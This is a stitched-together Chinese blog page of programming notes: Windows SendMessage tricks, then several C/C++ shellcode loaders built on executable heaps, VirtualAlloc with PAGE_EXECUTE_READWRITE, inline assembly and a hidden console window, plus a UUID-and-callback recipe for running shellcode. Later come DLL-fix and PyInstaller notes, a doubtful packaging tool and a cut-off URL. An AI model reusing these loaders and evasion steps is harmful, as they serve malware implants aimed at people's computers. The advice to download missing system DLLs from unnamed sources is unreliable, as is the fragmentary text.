SendMessage(HWND, WM_CUT, 0, 0) '剪切 但单击按钮会使其失去焦点 这里不做演示

获得光标位置和字符个数.
Cpos = SendMessage(Text1.hwnd, 187, -1, 0) '光标所在行的首字符在文本中的位置
Lpos = SendMessage(Text1.hwnd, 201, Cpos, 0) '光标所在的行号
Line = SendMessage(Text1.hwnd, 193, Cpos, 0) '这行的字符数.
SendMessage (Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0 )'关闭显示器.
SendMessage Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1 ')打开显示器
SendMessage(mText.hwnd, EM_GETRECT, 0, rc) '获得窗口区域的边界

SendMessage hWnd, WM_KEYDOWN, VK_CONTROL, ByVal 0& )
SendMessage hWnd, WM_KEYDOWN, VK_X, ByVal 0&)
SendMessage hWnd, WM_KEYUP, VK_X, ByVal 0& )
SendMessage hWnd, WM_KEYUP, VK_CONTROL, ByVal 0&)

SendMessage(hwnd, WM_KEYDOWN, VK_RETURN, 0); //VK_RETURN是回车意思
SendMessage(hwnd, WM_KEYDOWN,VK_DOWN, 0);//VK_DOWN关闭意思


PostMessage

  • 将一个消息寄送到一个线程的消息队列后立即返回

Windows消息机制 ——消息驱动式系统

  • Windows消息提供应用程序与应用程序之间,应用程序与Windows系统之间进行通信的手段
    (消息处理)

EnumWindows()函数

  1. 函数原型:
BOOL WINAPI EnumWindows(
_In_ WNDENUMPROC lpEnumFunc,
_In_ LPARAM lParam
);

lpEnumFunc: 应用程序定义的回调函数的指针

lParam: 传递给回调函数的应用程序定义的值

MSDN中对EnumWindows的解释:

Enumerates all top-level windows on the screen by passing the handle to each window, 
in turn, to an application-defined callback 	function. 
EnumWindows continues until the last top-level window is enumerated or the callback function returns FALSE.

即:

枚举屏幕上的所有的顶层窗口,轮流地将这些窗口的句柄传递给一个应用程序定义的回调函数。
EnumWindows会一直进行下去,直到枚举完所有的顶层窗口,或者回调函数返回了FALSE.

C++ 上线

https://forum.butian.net/share/2017



#include   

int main(void) {
     
    unsigned char buf\[\] = 上面那串payload;;  
    //创建一个堆(这里看个人习惯,不建堆也可以直接分配)  
    HANDLE myHeap = HeapCreate(HEAP\_CREATE\_ENABLE\_EXECUTE, 0, 0);  
    //从堆上分配一块内存  
    void\* exec = HeapAlloc(myHeap, HEAP\_ZERO\_MEMORY, sizeof(buf));  
    //payload复制过去  
    memcpy(exec, buf, sizeof(buf));  
    //将exec强制转换成返回类型为void的函数指针,并调用这个函数  
    ((void(\*)())exec)();  
    return 0;  
}


https://zhuanlan.zhihu.com/p/364391539

`

shellcode loader的编写

https://mp.weixin.qq.com/s/sfxmWf9nCQeAc7PRRG5eaQ

#include <stdio.h>
#include <windows.h>

// .data段(数据段,存储静态变量和全局变量)改为可读可写可执行
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "shellcode"; // 要为全局变量

int main() {
   
    __asm {
   
        lea eax, buf // 这里查看反汇编是lea eax,[buf地址]
        call eax
    }
    return 0;
}



#include <stdio.h>
#include <windows.h>

int main() {
   
    unsigned char buf[] = "shellcode";

    void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    // CopyMemory是Windows API
    CopyMemory(p, buf, sizeof(buf)); // 将shellcode写入内存

    /*
    * CreateThread是Windows API,用于创建一个新线程
    * 参数1:指向 SECURITY_ATTRIBUTES 结构体的指针,用于指定新线程的安全属性,NULL表示默认安全属性
    * 参数2:指定新线程的堆栈大小,0表示默认大小,如果指定大小小于MINIMUM_STACK_SIZE(通常1KB),则会被自动调整为MINIMUM_STACK_SIZE
    * 参数3:线程函数指针,必须是静态函数或全局函数,且返回值为DWORD
    * 参数4:传递给线程函数的参数指针,可以将任何类型的数据转换为LPVOID来传递参数
    * 参数50表示创建线程后立刻执行,CREATE_SUSPENDED表示创建线程后立即挂起,等待调用 ResumeThread 才会开始执行
    * 参数6:接收新线程 ID 的变量的指针,NULL表示不返回线程ID
    */
    // 句柄(Handle)是一种用于标识对象的数据类型,实际上是一个指向内存中数据结构的指针,该数据结构描述了所标识的对象的属性
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)p, NULL, 0, NULL); // 线程句柄
    /*
    * 参数1:内核对象的句柄
    * 参数2:等待时间的毫秒数,INFINITE(-1)表示无限等待直到对象进入signaled状态
    */
    WaitForSingleObject(hThread, INFINITE); // 等待新线程执行完毕,不等待可能执行不到
    return 0;
}




内联汇编
伪指令
text段
https://www.bilibili.com/video/BV1xv4y1472k/?spm_id_from=333.337.search-card.all.click&vd_source=f21773b7086456ae21a58a6cc59023be

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


# 堆


#include <iostream>
#include<Windows.h>
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//隐藏dos黑窗口

int main(void) {
	unsigned char buf[] = "shellcode";

	//创建一个堆
	HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0);
	//从堆上分配一块内存

	//void*
	char* exec = (char *)HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));
	memcpy(exec, buf, sizeof(buf));

	//((void(*)())exec)();
	//线程启动
	HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)exec,NULL,NULL,NULL);
	WaitForSingleObject(hThread, INFINITE); 
	 

	//return 0;
    
}
    
    

0xC0000005: 读取位置 0x0000000000000400 时发生访问冲突。
在这里插入图片描述

mfc42d.dll

Windows系统中MFDCLL共享库的文件,主要用于支持调试版本的MFC程序,



如果打开电脑提示计算机中mfc42d.dll丢失,那么大部分原因是因为该文件被木马病毒破坏,从而导致系统找不到此文件。





解决办法就是下载mfc42d.dll文件,找到合适的文件存放目录,将其复制进去便可。
不同系统下的存放目录:

1、Windows 95/98/Me系统,则复制到C:\WINdows\system32\ 目录下。

2、Windows NT/2000系统,则复制到C:\WINNT\system32\ 目录下。

3、Windows XP系统,则复制到C:\WINdows\system32\ 目录下。

4、Windows 7/8系统,则复制到C:\WINdows\system32\目录下。

1、首先我们要下载mfc42d.dll文件,下载后一般会是个WINRAR压缩包,我们解压然后接拷贝该文件到系统或者游戏目录内;

2、然后使用键盘快捷键“Win+R”或者 执行“开始-运行“;

3、输入“regsvr32 mfc42d.dll”,回车即可解决错误提示!


ucrtbase.dll

ucrtbase.dll是Microsoft Visual C++ runtime库的一部分,
包含了许多基本的C运行时函数。

提供了一些基本的功能,例如字符串和内存操作、数学函数和输入/输出操作等。

它的主要作用是与其他应用程序和操作系统进行交互,为它们提供运行时支持。
在Windows操作系统中,许多程序都需要ucrtbase.dll来正常运行。

 

在使用 PyInstaller 进行打包时,生成临时文件 `ucrtbase.dll` 是正常的行为。`ucrtbase.dll` 是 Microsoft Visual C++ Redistributable for Visual Studio 2015 的一部分,它包含了一些 C 运行时函数和库。

PyInstaller 在打包过程中可能会需要这些运行时函数和库,以确保你的应用程序能够在目标计算机上正确运行。因此,当你使用 PyInstaller 打包应用程序时,它会自动在生成的输出目录中创建临时文件 `ucrtbase.dll`。

临时文件 `ucrtbase.dll` 的存在并不会对你的应用程序产生任何负面影响,因为它只是作为一个依赖项被包含在打包后的可执行文件中。当你在目标计算机上运行打包后的应用程序时,`ucrtbase.dll` 将被加载并使用。

如果你不希望看到这个临时文件,你可以尝试使用 PyInstaller 的 `--clean` 参数来清理临时文件和构建文件。示例命令如下:

bash复制代码pyinstaller --clean your_script.py




除了 PyInstaller,还有其他工具可以将 Python 代码打包成独立的可执行文件,以下是其中几个:

1. cx_Freeze: cx_Freeze 是另一个流行的 Python 打包工具,可以用于将 Python 脚本打包成 Windows、Linux 和 macOS 上的可执行文件。它支持许多第三方库和模块,可以生成单个可执行文件或一个目录。
2. py2exe: py2exe 是一个非常受欢迎的 Python 打包工具,可以在 Windows 平台上将 Python 脚本打包成可执行文件。它支持 Python 2.x 和 3.x,并且可以生成单个可执行文件或一个目录。
3. PyOxidizer: PyOxidizer 可以将 Python 应用程序打包成自包含二进制文件,可以在 Windows、Linux 和 macOS 上运行。它使用 Rust 编写,可以通过 Python API 或命令行界面进行配置。
4. PyInstaller Eski: PyInstaller Eski 是 PyInstaller 的一个分支,可以在 Windows 平台上将 Python 脚本打包成可执行文件。它使用加密和混淆技术来保护你的代码,可以生成单个可执行文件或一个目录。

需要注意的是,每个工具都有其独特的特点和适用范围,因此在选择工具时要根据项目需求和目标平台进行评估。此外,如果你的应用程序涉及到 UI 界面,还可以考虑使用专门的 GUI 工具包,如 PyQT 和 wxPython 等。

总之,除了 PyInstaller,还有其他 Python 打包工具可供选择,例如 cx_Freeze、py2exe、PyOxidizer 等。选择工具时要根据项目需求和目标平台进行评估,并根据需要选择合适的 GUI 工具包。





# .NET 6.0 Desktop Runtime (v6.0.24) - Windows x64 Installer!

https://dotnet.microsoft.com/zh-cn/download/dotnet/thank-you/runtime-desktop-6.0.24-windows-x64-installer?cid=getdotnetcore


在这里插入图片描述

uuid

`

    
    
unhook+uuid 
一种利用 UUID (通用唯一标识符) 结合回调函数和壳来将 shellcode 写入内存并执行的技术
(https://cloud.tencent.com/developer/article/1954772)(https://www.cnblogs.com/StudyCat/p/14765971.html)。
具体的步骤如下:

1.  使用 HeapCreate 和 HeapAlloc 函数在堆上分配可执行的内存空间。
2.  使用 UuidFromStringA 函数将 shellcode 转换为 UUID 的格式,并写入内存。
3.  使用 EnumSystemLocalesA 或其他具有回调函数参数的函数来触发 shellcode 的执行。


你可以参考以下的代码示例来实现这种方法:

-   Python 版本:https:/
  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

amingMM

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值